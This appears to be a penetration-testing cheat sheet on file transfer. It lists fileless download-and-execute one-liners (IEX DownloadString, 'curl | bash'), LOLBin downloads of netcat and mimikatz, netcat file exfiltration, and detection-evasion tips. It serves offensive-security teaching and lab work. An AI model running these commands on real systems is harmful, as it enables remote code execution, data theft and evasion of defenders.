22. Master Cheat Sheet

Quick command reference

Command Description
Invoke-WebRequest https://<ip>/PowerView.ps1 -OutFile PowerView.ps1 Download with PowerShell
IEX (New-Object Net.WebClient).DownloadString('https://<ip>/script.ps1') Execute in memory (fileless)
Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64 Upload with PowerShell
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe Download with Bitsadmin
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe Download with Certutil
wget https://example.com/LinEnum.sh -O /tmp/LinEnum.sh Download with wget
curl -o /tmp/LinEnum.sh https://example.com/LinEnum.sh Download with curl
curl https://example.com/script.sh \| bash Fileless download+exec
php -r '$file = file_get_contents("https://<ip>/file"); file_put_contents("file",$file);' Download with PHP
scp C:\Temp\file.zip user@10.10.10.150:/tmp/file.zip Upload via SCP (Windows→Linux)
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe Download via SCP (Linux→Windows)
Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe" Spoof Chrome User-Agent
sudo impacket-smbserver share -smb2support /tmp/files Serve SMB share (Linux)
copy \\192.168.1.1\share\nc.exe Download from SMB (Windows)
python3 -m http.server 8000 Simple HTTP server
python3 -m uploadserver HTTP server with upload support
nc -lvnp 4444 > file Receive file with Netcat
cat file \| nc 10.10.10.10 4444 Send file with Netcat
openssl enc -aes256 -iter 100000 -pbkdf2 -in file -out file.enc Encrypt file (Linux)
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in file.enc -out file Decrypt file (Linux)
base64 -w 0 file; echo Encode file to base64 (Linux)
echo 'BASE64' \| base64 -d > file Decode base64 to file (Linux)
[Convert]::ToBase64String([IO.File]::ReadAllBytes("file")) Encode to base64 (Windows)
certutil -encode file.exe file.txt Encode to base64 with certutil
certutil -decode file.txt file.exe Decode from base64 with certutil

Server setup quick reference

python3 -m http.server 8000                            # HTTP file server
python3 -m uploadserver                                # HTTP + upload endpoint
php -S 0.0.0.0:8000                                    # PHP HTTP server
ruby -run -ehttpd . -p8000                             # Ruby HTTP server
sudo impacket-smbserver share -smb2support /path       # SMB share (anonymous)
sudo python3 -m pyftpdlib --port 21 --write            # FTP server (writable)
nc -lvnp 4444 > received_file                          # Netcat listener
openssl s_server -quiet -accept 80 -cert c.pem -key k.pem < file  # OpenSSL server
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous # WebDAV

Decision tree

Need to move a file?
│
├── HTTP/HTTPS available?
│   ├── Linux target  → wget / curl / python3 one-liner
│   └── Windows target → Invoke-WebRequest / WebClient / certutil / BITS
│
├── SMB (TCP/445) available?
│   └── impacket-smbserver + copy / Copy-Item / smbclient
│
├── SMB blocked but HTTP open?
│   └── WebDAV (wsgidav) → copy \\host\DavWWWRoot\
│
├── SSH available?
│   └── scp / sftp
│
├── Only raw TCP available?
│   └── nc / ncat / socat
│
├── No network transfer possible?
│   └── Base64 encode → clipboard → decode on other side
│
├── Need to avoid detection?
│   ├── Spoof User-Agent (Invoke-WebRequest -UserAgent)
│   ├── Use LOLBAS/GTFOBins (certutil, bitsadmin, GfxDownloadWrapper)
│   └── Use encrypted channels (HTTPS, OpenSSL, SFTP)
│
└── Legacy / minimal environment?
    └── FTP / TFTP / VBScript / certutil / /dev/tcp

← Tradecraft top ↑